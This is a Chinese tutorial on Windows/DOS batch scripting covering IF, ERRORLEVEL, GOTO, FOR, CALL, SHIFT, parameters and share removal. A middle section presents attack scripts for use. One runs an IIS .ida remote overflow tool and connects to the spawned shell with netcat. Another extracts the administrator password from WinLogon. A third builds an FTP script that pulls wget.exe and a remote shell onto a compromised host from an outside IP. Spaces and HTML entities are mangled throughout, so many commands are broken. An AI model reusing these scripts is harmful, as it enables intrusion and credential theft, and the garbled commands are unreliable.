　　IFERRORLEVEL0ECHO成功拷贝文件
　　然后执行文件:
　　C:\\&#62;TEST4
　　如果文件拷贝成功，屏幕就会显示&#8220;成功拷贝文件&#8221;，否则就会显示&#8220;文件拷贝失败&#8221;。
　　IFERRORLEVEL是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：
　　@ECHOOFF
　　XCOPYC:\\AUTOEXEC.BATD:\\
　　IFERRORLEVEL0ECHO成功拷贝文件
　　IFERRORLEVEL1ECHO未找到拷贝文件
　　IFERRORLEVEL2ECHO用户通过ctrl-c中止拷贝操作
　　IFERRORLEVEL3ECHO预置错误阻止文件拷贝操作
　　IFERRORLEVEL4ECHO拷贝过程中写盘错误
　　无论拷贝是否成功，后面的：
　　未找到拷贝文件
　　用户通过ctrl-c中止拷贝操作
　　预置错误阻止文件拷贝操作
　　拷贝过程中写盘错误
　　都将显示出来。
　　以下就是几个常用命令的返回值及其代表的意义：
　　backup
　　0备份成功
　　1未找到备份文件
　　2文件共享冲突阻止备份完成
　　3用户用ctrl-c中止备份
　　4由于致命的错误使备份操作中止
　　diskcomp
　　0盘比较相同
　　1盘比较不同
　　2用户通过ctrl-c中止比较操作
　　3由于致命的错误使比较操作中止
　　4预置错误中止比较
　　diskcopy
　　0盘拷贝操作成功
　　1非致命盘读/写错
　　2用户通过ctrl-c结束拷贝操作
　　3因致命的处理错误使盘拷贝中止
　　4预置错误阻止拷贝操作
　　format
　　0格式化成功
　　3用户通过ctrl-c中止格式化处理
　　4因致命的处理错误使格式化中止
　　5在提示&#8220;proceedwithformat（y/n）?&#8221;下用户键入n结束
　　xcopy
　　0成功拷贝文件
　　1未找到拷贝文件
　　2用户通过ctrl-c中止拷贝操作
　　4预置错误阻止文件拷贝操作
　　5拷贝过程中写盘错误
　　3、IFSTRING1==STRING2
　　建立TEST5.BAT，文件内容如下：
　　@echooff
　　IF\&#38;#34;%1\&#38;#34;==\&#38;#34;A\&#38;#34;formATA:
　　执行：
　　C:\\&#62;TEST5A
　　屏幕上就出现是否将A:盘格式化的内容。
　　注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。
　　如：if[%1]==[A]或者if%1*==A*
　　5、GOTO
　　建立TEST6.BAT，文件内容如下：
　　@ECHOOFF
　　IFEXISTC:\\AUTOEXEC.BATGOTO_COPY
　　GOTO_DONE
　　:_COPY
　　COPYC:\\AUTOEXEC.BATD:\\
　　:_DONE
　　注意：
　　(1)标号前是ASCII字符的冒号\&#38;#34;:\&#38;#34;，冒号与标号之间不能有空格。
　　(2)标号的命名规则与文件名的命名规则相同。
　　(3)DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。
　　6、FOR
　　建立C:\\TEST7.BAT，文件内容如下：
　　@ECHOOFF
　　FOR%%CIN(*.BAT*.TXT*.SYS)DOTYPE%%C
　　运行：
　　C:&#62;TEST7
　　执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。
　　win2000命令行方式批处理BAT文件技巧
　　文章结构
　　1.所有内置命令的帮助信息
　　2.环境变量的概念
　　3.内置的特殊符号(实际使用中间注意避开)
　　4.简单批处理文件概念
　　5.附件1tmp.txt
　　6.附件2sample.bat
　　###########################
　　1.所有内置命令的帮助信息
　　###########################
　　ver
　　cmd/?
　　set/?
　　rem/?
　　if/?
　　echo/?
　　goto/?
　　for/?
　　shift/?
　　call/?
　　其他需要的常用命令
　　type/?
　　find/?
　　findstr/?
　　copy/?
　　下面将所有上面的帮助输出到一个文件
　　echover&#62;tmp.txt
　　ver&#62;&#62;tmp.txt
　　echocmd/?&#62;&#62;tmp.txt
　　cmd/?&#62;&#62;tmp.txt
　　echorem/?&#62;&#62;tmp.txt
　　rem/?&#62;&#62;tmp.txt
　　echoif/?&#62;&#62;tmp.txt
　　if/?&#62;&#62;tmp.txt
　　echogoto/?&#62;&#62;tmp.txt
　　goto/?&#62;&#62;tmp.txt
　　echofor/?&#62;&#62;tmp.txt
　　for/?&#62;&#62;tmp.txt
　　echoshift/?&#62;&#62;tmp.txt
　　shift/?&#62;&#62;tmp.txt
　　echocall/?&#62;&#62;tmp.txt
　　call/?&#62;&#62;tmp.txt
　　echotype/?&#62;&#62;tmp.txt
　　type/?&#62;&#62;tmp.txt
　　echofind/?&#62;&#62;tmp.txt
　　find/?&#62;&#62;tmp.txt
　　echofindstr/?&#62;&#62;tmp.txt
　　findstr/?&#62;&#62;tmp.txt
　　echocopy/?&#62;&#62;tmp.txt
　　copy/?&#62;&#62;tmp.txt
　　typetmp.txt
　　#############################
　　2.环境变量的概念
　　#############################
　　C:\\ProgramFiles&#62;set
　　ALLUSERSPROFILE=C:\\DocumentsandSettings\\AllUsers
　　CommonProgramFiles=C:\\ProgramFiles\\CommonFiles
　　COMPUTERNAME=FIRST
　　ComSpec=C:\\WINNT\\system32\\cmd.exe
　　NUMBER_OF_PROCESSORS=1
　　OS=Windows_NT
　　Os2LibPath=C:\\WINNT\\system32\\os2\\dll;
　　Path=C:\\WINNT\\system32;C:\\WINNT;C:\\WINNT\\system32\\WBEM
　　PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
　　PROCESSOR_ARCHITECTURE=x86
　　PROCESSOR_IDENTIFIER=x86Family6Model6Stepping5,GenuineIntel
　　PROCESSOR_LEVEL=6
　　PROCESSOR_REVISION=0605
　　ProgramFiles=C:\\ProgramFiles
　　PROMPT=$P$G
　　SystemDrive=C:
　　SystemRoot=C:\\WINNT
　　TEMP=C:\\WINNT\\TEMP
　　TMP=C:\\WINNT\\TEMP
　　USERPROFILE=C:\\DocumentsandSettings\\DefaultUser
　　windir=C:\\WINNT
　　path:表示可执行程序的搜索路径.我的建议是你把你的程序copy到
　　%windir%\\system32\\.这个目录里面.一般就可以自动搜索到.
　　语法:copymychenxu.exe%windir%\\system32\\.
　　使用点(.)便于一目了然
　　对环境变量的引用使用(英文模式,半角)双引号
　　%windir%变量
　　%%windir%%二次变量引用.
　　我们常用的还有
　　%temp%临时文件目录
　　%windir%系统目录
　　%errorlevel%退出代码
　　输出文件到临时文件目录里面.这样便于当前目录整洁.
　　对有空格的参数.你应该学会使用双引号(\&#38;#34;\&#38;#34;)来表示比如对porgramfile文件夹操作
　　C:\\&#62;dirp*
　　C:\\的目录
　　2000-09-0211:472,164PDOS.DEF
　　1999-01-0300:47ProgramFiles
　　1个文件2,164字节
　　1个目录1,505,997,824可用字节
　　C:\\&#62;cdpro*
　　C:\\ProgramFiles&#62;
　　C:\\&#62;
　　C:\\&#62;cd\&#38;#34;ProgramFiles\&#38;#34;
　　C:\\ProgramFiles&#62;
　　############################################
　　3.内置的特殊符号(实际使用中间注意避开)
　　############################################
　　微软里面内置了下列字符不能够在创建的文件名中间使用
　　connulaux\\/&#124;&#124;&#124;&#38;&#38;^&#62;创建一个文件
　　&#62;&#62;追加到一个文件后面
　　@前缀字符.表示执行时本行在cmd里面不显示,可以使用echooff关闭显示
　　^对特殊符号(&#62;aaa
　　echo1231231&#62;bbb
　　()包含命令
　　(echoaa&#38;echobb)
　　,和空格一样的缺省分隔符号.
　　;注释,表示后面为注释
　　:标号作用
　　&#124;管道操作
　　&#38;Usage：第一条命令&#38;第二条命令[&#38;第三条命令...]
　　用这种方法可以同时执行多条命令，而不管命令是否执行成功
　　dirc:\\*.exe&#38;dird:\\*.exe&#38;dire:\\*.exe
　　&#38;&#38;Usage：第一条命令&#38;&#38;第二条命令[&#38;&#38;第三条命令...]
　　当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
　　&#124;&#124;Usage：第一条命令&#124;&#124;第二条命令[&#124;&#124;第三条命令...]
　　当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；
　　常用语法格式
　　IF[NOT]ERRORLEVELnumbercommandpara1para2
　　IF[NOT]string1==string2commandpara1para2
　　IF[NOT]EXISTfilenamecommandpara1para2
　　IFEXISTfilenamecommandpara1para2
　　IFNOTEXISTfilenamecommandpara1para2
　　IF\&#38;#34;%1\&#38;#34;==\&#38;#34;\&#38;#34;gotoEND
　　IF\&#38;#34;%1\&#38;#34;==\&#38;#34;net\&#38;#34;gotoNET
　　IFNOT\&#38;#34;%2\&#38;#34;==\&#38;#34;net\&#38;#34;gotoOTHER
　　IFERRORLEVEL1commandpara1para2
　　IFNOTERRORLEVEL1commandpara1para2
　　FOR/L%%iIN(start,step,end)DOcommand[command-parameters]%%i
　　FOR/F\&#38;#34;eol=;tokens=2,3*delims=,\&#38;#34;%iin(myfile.txt)doecho%i%j%k
　　按照字母顺序ijklmnopq依次取参数.
　　eol=c-指一个行注释字符的结尾(就一个)
　　skip=n-指在文件开始时忽略的行数。
　　delims=xxx-指分隔符集。这个替换了空格和跳格键的默认分隔符集。
　　########################
　　4.简单批处理文件概念
　　########################
　　echoThisistest&#62;a.txt
　　typea.txt
　　echoThisistest11111&#62;&#62;a.txt
　　typea.txt
　　echoThisistest22222&#62;a.txt
　　typea.txt
　　第二个echo是追加
　　第三个echo将清空a.txt重新创建a.txt
　　netstat-n&#124;find\&#38;#34;3389\&#38;#34;
　　这个将要列出所有连接3389的用户的ip.
　　________________test.bat______
　　@echopleasecare
　　echoplesecare1111
　　echoplesecare2222
　　echoplesecare3333
　　@echopleasecare
　　@echoplesecare1111
　　@echoplesecare2222
　　@echoplesecare3333
　　rem不显示注释语句,本行显示
　　@rem不显示注释语句,本行不显示
　　@ifexist%windir%\\system32\\find.exe(echoFindfind.exe!!!)else(echoERROR:Notfindfind.exe)
　　@ifexist%windir%\\system32\\fina.exe(echoFindfina.exe!!!)else(echoERROR:Notfindfina.exe)
　　_____________________________
　　下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
　　___________________ida.bat_____
　　@remver1.0
　　@ifNOTexist%windir%\\system32\\idahack.exeecho\&#38;#34;ERROR:dontfindidahack.exe\&#38;#34;
　　@ifNOTexist%windir%\\system32\\nc.exeecho\&#38;#34;ERROR:dontfindnc.exe\&#38;#34;
　　@if\&#38;#34;%1\&#38;#34;==\&#38;#34;\&#38;#34;gotoUSAGE
　　@ifNOT\&#38;#34;%2\&#38;#34;==\&#38;#34;\&#38;#34;gotoSP2
　　:start
　　@echoNowstart&#8230;
　　@ping%1
　　@echochinesewin2k:1sp1:2sp2:3
　　idahack.exe%180199&#62;%temp%\\_tmp
　　@echo\&#38;#34;progexitcode[%errorlevel%]idahack.exe\&#38;#34;
　　@type%temp%\\_tmp
　　@find\&#38;#34;goodluck:)\&#38;#34;%temp%\\_tmp
　　@echo\&#38;#34;progexitcode[%errorlevel%]find[googluck]\&#38;#34;
　　@ifNOTerrorlevel1nc.exe%199
　　@gotoEND
　　:SP2
　　@idahack.exe%180%299%temp%\\_tmp
　　@type%temp%\\_tmp
　　@find\&#38;#34;goodluck:)\&#38;#34;%temp%\\_tmp
　　@ifNOTerrorlevel1nc.exe%199
　　@gotoEND
　　:USAGE
　　@echoExample:ida.batIP
　　@echoExample:ida.batIP(2,3)
　　:END
　　_____________________ida.bat__END_______
　　下面我们再来第二个文件.就是得到administrator的口令.
　　大多数人说得不到.其实是自己的没有输入正确的信息.
　　___________________________fpass.bat____________________________________________
　　@remver1.0
　　@ifNOTexist%windir%\\system32\\findpass.exeecho\&#38;#34;ERROR:dontfindfindpass.exe\&#38;#34;
　　@ifNOTexist%windir%\\system32\\pulist.exeecho\&#38;#34;ERROR:dontfindpulist.exe\&#38;#34;
　　@echostart&#8230;.
　　@echo____________________________________
　　@if\&#38;#34;%1\&#38;#34;==\&#38;#34;\&#38;#34;gotoUSAGE
　　@findpass.exe%1%2%3&#62;&#62;%temp%\\_findpass.txt
　　@echo\&#38;#34;progexitcode[%errorlevel%]findpass.exe\&#38;#34;
　　@type%temp%\\_findpass.txt
　　@echo________________________________Here__pass★★★★★★★★
　　@ipconfig/all&#62;&#62;%temp%\\_findpass.txt
　　@gotoEND
　　:USAGE
　　@pulist.exe&#62;%temp%\\_pass.txt
　　@findstr.exe/i\&#38;#34;WINLOGONexplorerinternat\&#38;#34;%temp%\\_pass.txt
　　@echo\&#38;#34;Example:fpass.bat%1%2%3%4!!!\&#38;#34;
　　@echo\&#38;#34;Usage:findpass.exeDomainNameUserNamePID-of-WinLogon\&#38;#34;
　　:END
　　@echo\&#38;#34;fpass.bat%COMPUTERNAME%%USERNAME%administrator\&#38;#34;
　　@echo\&#38;#34;fpass.batend[%errorlevel%]!\&#38;#34;
　　_________________fpass.bat___END___________________________________________________________
　　还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
　　依次在窗口输入下面的东西.当然了也可以全部拷贝.Ctrl+V过去.然后就等待吧!!
　　echoopen210.64.x.43396&#62;w
　　echoread&#62;&#62;w
　　echoread&#62;&#62;w
　　echocdwinnt&#62;&#62;w
　　echobinary&#62;&#62;w
　　echopwd&#62;&#62;w
　　echogetwget.exe&#62;&#62;w
　　echogetwinshell.exe&#62;&#62;w
　　echogetany.exe&#62;&#62;w
　　echoquit&#62;&#62;w
　　ftp-s:w
　　
关于bat 批处理命令 
[ 编辑本段 ] 
　　关于bat批处理命令文件类型语法格式应用的详解
　　大家知不知道默认共享这回事？这东西用不着的地方可就不是好东西了．所以就要删掉．但这东西是每次系统重起后都会重新创建的．所以每次都要重新打开cmd重新删掉一下．极为麻烦．但有了批处理文件就不一样了，先把命令输入到批处理文件中，然后加入到启动项中，每次启动就会自动运行，免去了每次输入命令的麻烦．至于怎么写这个批处理文件嘛，到文章的结尾我会告诉大家的，但不知道在我写完之前会不会睡着呢？～
　　如何创建批处理文件？
　　不要听了批处理文件就感到很神气，其实这东西很简单的．你用过记事本没有？用过？好的．将记事本打开，什么都不用写，然后选择文件，保存．保存类型选择所有文件，文件名则命名为＊．bat这个＊代表是文件名，你可以随便的起．保存好之后，看看你保存的地方，会出现一个白色窗口里有个黄色齿轮的图标．这东西就是你创建的批处理文件，双击他就可以运行，但他现在由于里面没有输入任何命令，所以他运行了并不会做任何事情．当我们想往这个＊.bat文件中添加东西时，只要右键选择他，然后选择编辑，就可以打开记事本往内输入命令了．
　　批处理文件中的命令是什么？
　　批处理文件中的命令暂时先可以理解为dos命令，等稍后深入理解了以后再进行解释．批处理顾名思义就是一大堆东西堆在一起处理．换句话说就是往里面写一条条dos命令，然后按顺序挨个执行，效果跟你在cmd里敲dos命令是一个效果．只不过用批处理写好之后，要运行只要双击下就可以运行了．而不用再一遍一遍的重复的往里面打命令．这就是批处理文件的好处．
　　除了运行dos命令之外，他还可以支持选择结构if，循环结构for，goto等，与c有点类似，但远没有c全面，并且编写语言十分不规范．
　　批处理语法：
　　先讲个最基本的东西@echooff
　　echo的意思是回旋，这里的意思就是回显，echooff意思就是关闭回显．前面的@表示echooff这一行也不会回显你可以试着去掉@和整行去掉．@的另一个功能是在执行完批处理文件时自动恢复命令回显。如果第一句用的是ECHOOFF，那么在执行完批处理文件以后不会显示命令提示符。
　　举个例子：如果我们先创建一个１．bat文件，往里面输入：
　　dir然后保存在c：＼下．然后我们运行cmd，进入c盘根目录下，输入１．bat，则显示：
　　C:&#62;dir
　　驱动器C中的卷没有标签。
　　卷的序列号是0C5D-07FF
　　C:的目录
　　2004-08-2500:45WINDOWS
　　2004-08-2500:51DocumentsandSettings
　　&#8230;&#8230;&#8230;..
　　C:
　　如果将１．bat内容修改成
　　echooff
　　dir
　　然后再在cmd里输入１．bat，则会显示
　　C:&#62;echooff//因为运行了echooff，所以没有显示dir命令，直接显示了结果
　　驱动器C中的卷没有标签。
　　卷的序列号是0C5D-07FF
　　C:的目录
　　2004-08-2500:45WINDOWS
　　2004-08-2500:51DocumentsandSettings
　　．．．．．
　　C:
　　如果将１．bat文件修改成：
　　@echooff
　　dir
　　则显示成：
　　C:&#62;1.bat//与前面不同，并没有显示echooff，原因是加了＠，所以不显示＠后面的内容．又因为加
　　//了echooff，所以后面的命令不显示，直接显示结果
　　驱动器C中的卷没有标签。
　　卷的序列号是0C5D-07FF
　　C:的目录
　　2004-08-2500:45WINDOWS
　　2004-08-2500:51DocumentsandSettings
　　．．．．
　　C:
　　通过以上的比较，相信你对echooff命令已经充分掌握了．现在已经１点了．．．写得累啊！！！洗澡睡觉去了
　　－－－－－－－－－－－－－－－－－－－－－－
　　早晨６点就被拉起来了．．．我命苦啊，那么继续写吧
　　－－－－－－－－－－－－－－－－－－－－－－
　　接下来讲的是call命令：
　　call是打电话的call，而不是＂喔靠＂的靠：）．call的意思为调用．假如有２个批处理文件a.bat和b.bat．如果我想运行a.bat的当中运行b.bat．如何运行呢？其实很简单，只要在a.bat文件中输入call命令，则可以在a.bat运行的当中，运行b.bat，等b.bat运行完之后，继续执行a.bat
　　call命令格式：
　　CALL[drive:][path]filename[batch-parameters]
　　batch-parameters指定批处理程序所需的命令行信息。
　　举例如下，我们在c盘根目录下创建a．bat文件，内容为:
　　echothisisa.bat
　　calld:b.bat
　　echodone
　　然后在d盘根目录下创建b.bat，内容为：
　　echothisisb.bat
　　保存后，打开cmd，进入c盘根目录，然后输入1.bat，显示如下：
　　C:&#62;a.bat
　　C:&#62;echothisisa.bat
　　thisisa.bat
　　C:&#62;calld:b.bat
　　C:&#62;echothisisb.bat
　　thisisb.bat
　　C:&#62;echodone
　　done
　　由例子很容易看出来，是先运行a.bat的内容，直到遇到callb.bat后，则调用b.bat，运行完b.bat后，再返回a.bat接着运行callb.bat后面的echodone语句，直至将a.bat的所有批处理命令运行完．
　　注：里面有个[batch-parameters]里面的所指的参数是什么，知道的朋友能否告知，不胜感激．
　　PAUSE命令
　　暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处理程序中使用该命令。
　　rem命令：
　　表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）．
　　同时你可以用两个冒号来替代rem．如：::等同于一个rem．但他们有个区别，就是用::作注释的话他是不回显的，即使你打echoon强制回显也没有同的．同时rem可以在config.sys中加注释．
　　语法：rem[commnet]
　　批处理文件参数：
　　有点变成基础的人都知道函数有参数．批处理文件也有参数．
　　我打个比方，希望能帮助没有语言基础的人也能看的非常明白．
　　我从例子里开始吧．首先在c盘根目录下创建一个批处理文件a．bat，里面输入内容
　　echo%1
　　然后打开cmd，然后进入c盘根目录．输入：a&#38;#34;thisisacanshu&#38;#34;
　　得到结果如下：
　　C:&#62;a.bat&#38;#34;thisisatest&#38;#34;
　　C:&#62;echo&#38;#34;thisisatest&#38;#34;
　　&#38;#34;thisisatest&#38;#34;
　　输入的a&#38;#34;thisisacanshu&#38;#34;中，a为新建的a.bat的文件名a（后面的.bat可写也可不写），而a后面的&#38;#34;thisisacanshu&#38;#34;这句话就是参数，写在这的参数，在程序运行中就将参数自动放到批处理程序中去．那么放在什么位置呢？就是放在%1的地方．
　　看了例子，让我们看看整个关于参数的定义如何：
　　批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符&#38;#34;%&#38;#34;。
　　%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。//我们上个程序的例子里就有％１，他就是参数，而输入中＂thisisatest＂作为参数就直接放到％１的位置，于是程序就变成了echo&#38;#34;thisisatest&#38;#34;．
　　 再举几个例子帮助你理解：
　　C:根目录下一批处理文件名为b.bat，内容为:
　　@echooff
　　type%1//type为dos中的输出命令，可以用来输出文本文件的内容，比如我们新建一个１．txt文件
　　//里面输入内容，保存．进cmd，如果输入１．txt则看不了１．txt文件内容，但是如果我
　　//想看怎么办呢？这时候可以用type命令，只要在cmd里输入type１．txt就能显示
　　//１．txt文件中的内容了
　　type%2
　　那么运行C:&#62;ba.txtb.txt
　　%1:表示a.txt
　　%2:表示b.txt
　　于是上面的批处理命令就变成了
　　@echooff
　　typea.txt
　　typeb.txt
　　于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
　　没有编程基础的人可能要问，干什么要弄个参数啊？在后面加个参数多麻烦啊？直接往里面写不就好了啊？！其实这样想有对的方面也有错的方面．还是举个例子说明吧．
　　第一步还是在c盘根目录下新建一个批处理文件，我们取名仍为a.bat．往里面的内容输入为：
　　ping%1//ping命令可以简单理解为测试一台机器开着还是没有开，如果开着的话，他就回给你回送回应．
　　然后进cmd，我们想测试下１６３的服务器是不是开着，则输入awww.163.com
　　对于知道ping命令的人，可以打ping进行检查，但如果想ping的人不知道ping命令怎么用，那怎么办啊？这时候你就可以把命令预先输入到批处理文件中，保存好，然后让不会用的人进cmd，运行你的批处理文件，文件名后面加上他要ping的网站地址就行了．换句话说，他想ping１６３就直接加１６３的网址，想pingsina就直接加sina的网址．这样只要输入一个参数，而不用改程序本身，整个程序的通用性就大大提高了．
　　这是对于一个简单的ping命令，你或许觉得用参数不值得，还是直接改不就好了啊．但如果程序有很多条，你一下找不到在哪改怎么办啊？所以，不管你是菜哥，菜弟，菜姐，菜妹，只要运行下，输入参数，结果自己就会出来，不用再象你一样，考虑怎么编写批处理文件．人家只要知道是输入什么东西能让批处理程序运行，而编写的人则想的是如何让不懂程序的人能运行程序．
　　批处理参数就这么简单，不知道你理解了没有？但如果你想深一步了解批处理参数，可以接着往下看，如果不想深入了解，知道现在这么多也就够了．
　　因为参数只有１％－９％，但当我们要引用第十个或更多个参数时,就必须移动DOS的参数起始指针.shift命令正充当了这个移动指针的角色,它将参数的起始指针移动到下一个参数,类似C语言中的指针操作.图示如下:
　　初始状态,cmd为命令名,可以用%0引用
　　cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10
　　^^^^^^^^^^
　　&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;
　　%0%1%2%3%4%5%6%7%8%9
　　经过1次shift后,cmd将无法被引用
　　cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10
　　^^^^^^^^^^
　　&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;
　　%0%1%2%3%4%5%6%7%8%9
　　经过2次shift后,arg1也被废弃,%9指向为空,没有引用意义
　　cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10
　　^^^^^^^^^^
　　&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;&#38;line;
　　%0%1%2%3%4%5%6%7%8%9
　　遗憾的是,win9x和DOS下均不支持shift的逆操作.只有在nt内核命令行环境下,shift才支持/n参数,可以以第一参数为基准返复移动起始指针.
　　=================
　　ifgotochoicefor高级语法
　　今天就写到这吧，我收拾收拾东西准备滚蛋回学校了．可能ifgotochoicefor高级语法要在沈阳才能完成了，祝我好运吧．
　　======================
　　学校的&#38;#34;网吧&#38;#34;终于算重新开张了,抓紧时间把剩下的写完
　　if命令
　　说得通俗点，if就相当于我们白话里的如果．
　　举个例子：如果a喜欢b，那么a就要娶b．这句话翻译成计算机语言就成了
　　ifa喜欢ba就要娶b．
　　当然拉，计算机不可能理解a喜欢b，a就要娶b这两句话，这里只是举个例子让你方便理解．
　　if语句一共有3种模式,如下:
　　IF[NOT]string1==string2command
　　IF[NOT]EXISTfilenamecommand
　　IF[NOT]ERRORLEVELnumbercommand
　　NOT指定只有条件为false的情况下，WindowsXP才应该执行该命令。
　　ERRORLEVELnumber如果最后运行的程序返回一个等于或大于指定数字的退出编码，指定条件为true。
　　string1==string2如果指定的文字字符串匹配，指定条件为true。
　　EXISTfilename如果指定的文件名存在，指定条件为true。
　　command如果符合条件，指定要执行的命令。如果指定的条件为FALSE，命令后可跟一个执行ELSE关键字后的命令的ELSE命令。
　　我们先讲解第一种:
　　IF[NOT]string1==string2command
　　自然语句意思：如果string1＝＝string2，那么执行command
　　下面再举个能实际应用的if语句．
　　自然语句：如果输入的参数为３，那么显示＂a＝３＂
　　计算机语句：
　　@echooff
　　if&#38;#34;%1&#38;#34;==&#38;#34;3&#38;#34;echo&#38;#34;a=3&#38;#34;
　　或者写成
　　@echooff
　　if%1==3echo&#38;#34;a=3&#38;#34;
　　注意:当要测试的时候,因在cmd底下,输入1.bat3.因为这里用了是传递参数,具体看文章前部分&#38;#34;批处理文件参数&#38;#34;.
　　第二种：
　　IF[NOT]EXISTfilenamecommand
　　这条命令用语检测文件是否存在．如果存在，执行command．如果不存在，则什么也不显示．
　　如：我们想检查e盘根目录下是否有一个叫２.txt的文件．如果存在，则显示exist．如果不存在，则什么也不显示．
　　批处理命令如下：
　　@echooff
　　ifexiste:2.txtecho&#38;#34;exist2.txt&#38;#34;
　　第三种：
　　IF[NOT]ERRORLEVELnumbercommand
　　这个我引用点资料，感觉别人写得更详细，引用部分为粉色字部分：
　　iferrorlevel待执行的命令
　　很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过iferrorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。
　　如iferrorlevel2gotox2
　　====注===========
　　返回值从大到小的顺序排列不是必须的,而只是执行命令为goto时的习惯用法,当使用set作为执行命令时,通常会从小到大顺序排列,比如需将返回码置入环境变量,就需使用以下的顺序形式:
　　iferrorlevel1setel=1
　　iferrorlevel2setel=2
　　iferrorlevel3setel=3
　　iferrorlevel4setel=4
　　iferrorlevel5setel=5
　　&#8230;
　　当然,也可以使用以下循环来替代,原理是一致的:
　　for%%ein(12345678&#8230;)doiferrorlevel%%esetel=%%e//此处为一个for循环，后面会继续介绍到的，看不懂可以先跳过去
　　iferrorlevel比较返回码的判断条件并非等于,而是大于等于.由于goto的跳转特性,由小到大排序会导致在较小的返回码处就跳出;而由于set命令的&#38;#34;重复&#38;#34;赋值特性,由大到小排序会导致较小的返回码&#38;#34;覆盖&#38;#34;较大的返回码.
　　另外,虽然iferrorlevel=command也是有效的命令行,但也只是command.com解释命令行时将=作为命令行切分符而忽略掉罢了
　　choice命令
　　？？？？
　　goto命令
　　for命令
　　for命令其实就是一个循环命令,如果我们想重复一个语句,就可以用for命令.通过for命令,可以控制循环的次数等.
　　语法:
　　FOR%variableIN(set)DOcommand[command-parameters]
　　%variable指定一个单一字母可替换的参数。
　　(set)指定一个或一组文件。可以使用通配符。
　　command指定对每个文件执行的命令。
　　command-parameters
　　为特定命令指定参数或命令行开关。
　　在批处理文件中使用FOR命令时，指定变量请使用%%variable
　　而不要用%variable。变量名称是区分大小写的，所以%i不同于%I.
　　不知道你你看懂了没有，其实还是很容易理解的，还是举个例子吧．我想用type打印所有c盘根目录下的bat文件和txt文件．dos底下命令就是type＊．bat＊.txt．先将该文件保存在c盘根目录下,名称为a.bat
　　用for命令如下：
　　for%%tin(*.bat*.txt)dotype%%t
　　%%t其实就是代表的一个参数，他的内容在in()里面括号里的内容.也就是说这句话里的%%t就变成了*.bat*.txt了.do就是做的意思,执行type命令,而type后面是%%t,而%%t又是*.bat*.txt.所以原来这句命令的意思就变成了:
　　type*.bat*.txt
　　执行时进cmd,然后到c盘根目录下输入a.bat就可以打印出c盘根目录下所有扩展名为.bat和.txt的文件内容了.
　　这里要注意：in后面有个空格．
　　在xp底下,for命令扩展名被起用因此for的功能变得更加强大.下面讲一个真正的循环.
　　FOR/L%variableIN(start,step,end)DOcommand[command-parameters]
　　该集表示以增量形式从开始到结束的一个数字序列。
　　因此，(1,1,5)将产生序列12345，(5,-1,1)将产生
　　序列(54321)
　　里面第一个1在start的位置,意思是起始位置,第2个1在step位置,英文意思是跨步,在这里面的意思是每次增量为1.后面的5在end的位置,意思是结束时的大小.
　　这句话的意思就是从1(start)开始增加,每次增加1(step),一直到变到5(end)为止.
　　这个有什么用呢?其实我感觉这个东西的用处还是很大的.举个最简单的例子,我们想重复回显&#38;#34;iamthebest&#38;#34;这句话,重复显示10遍.那么for命令如下:
　　for/L%%ein(1,1,10)doecho&#38;#34;iamthebest&#38;#34;
　　这时,cmd就会重复输入&#38;#34;iamthebest&#38;#34;10遍.
　　===============================================
　　看完整篇文章了吗?咳&#8230;我写的不容易啊&#8230;.
　　现在不知道你对bat有了什么样的理解，我现在的感觉就是bat就是dos命令的组合，你把dos命令全写进bat命令，只要运行下bat就会挨个执行dos命令，这无疑提供了不少的方便。
　　下面我再举些实例.
　　删除默认共享:
　　对于默认共享不知道你了解多少,反正留着是个隐患,现在唯一的办法好象只能做个bat文件进行删除.命令如下:
　　netshareipc$Content$nbsp;/delete
　　netshareadmin$Content$nbsp;/delete
　　netsharec$Content$nbsp;/delete
　　netshared$Content$nbsp;/delete
　　netsharee$Content$nbsp;/delete
　　&#8230;&#8230;
　　里面的cde为你的盘符。如果你只有一个分区，那么写到netsharec$Content$nbsp;/delete为止就可以了。如果你有n个分区，那么就挨个写下去。
　　netshared$Content$nbsp;/delete
　　netsharee$Content$nbsp;/delete
　　netsharef$Content$nbsp;/delete
　　netshareg$Content$nbsp;/delete&#8230;&#8230;
　　登陆到局域网的机器快捷方式(对方机器有密码且为2000或以上系统)
　　netuse\192.168.0.1[密码]/user:[用户名]
　　explorer\192.168.0.1
　　bat文件备份注册表
　　setregfile=%date%//设置变量，下面出现%regfile%的都自动替换&#8220;当天date&#8221;
　　ifexist&#38;#34;%regfile%&#38;#34;gotoend//如果发现当天date命名的目录，跳到文件尾。
　　mdtemp//建temp目录
　　call1.bat//调用1.bat
　　del1.bat
　　ren2.bat1.bat
　　ren3.bat2.bat
　　ren4.bat3.bat
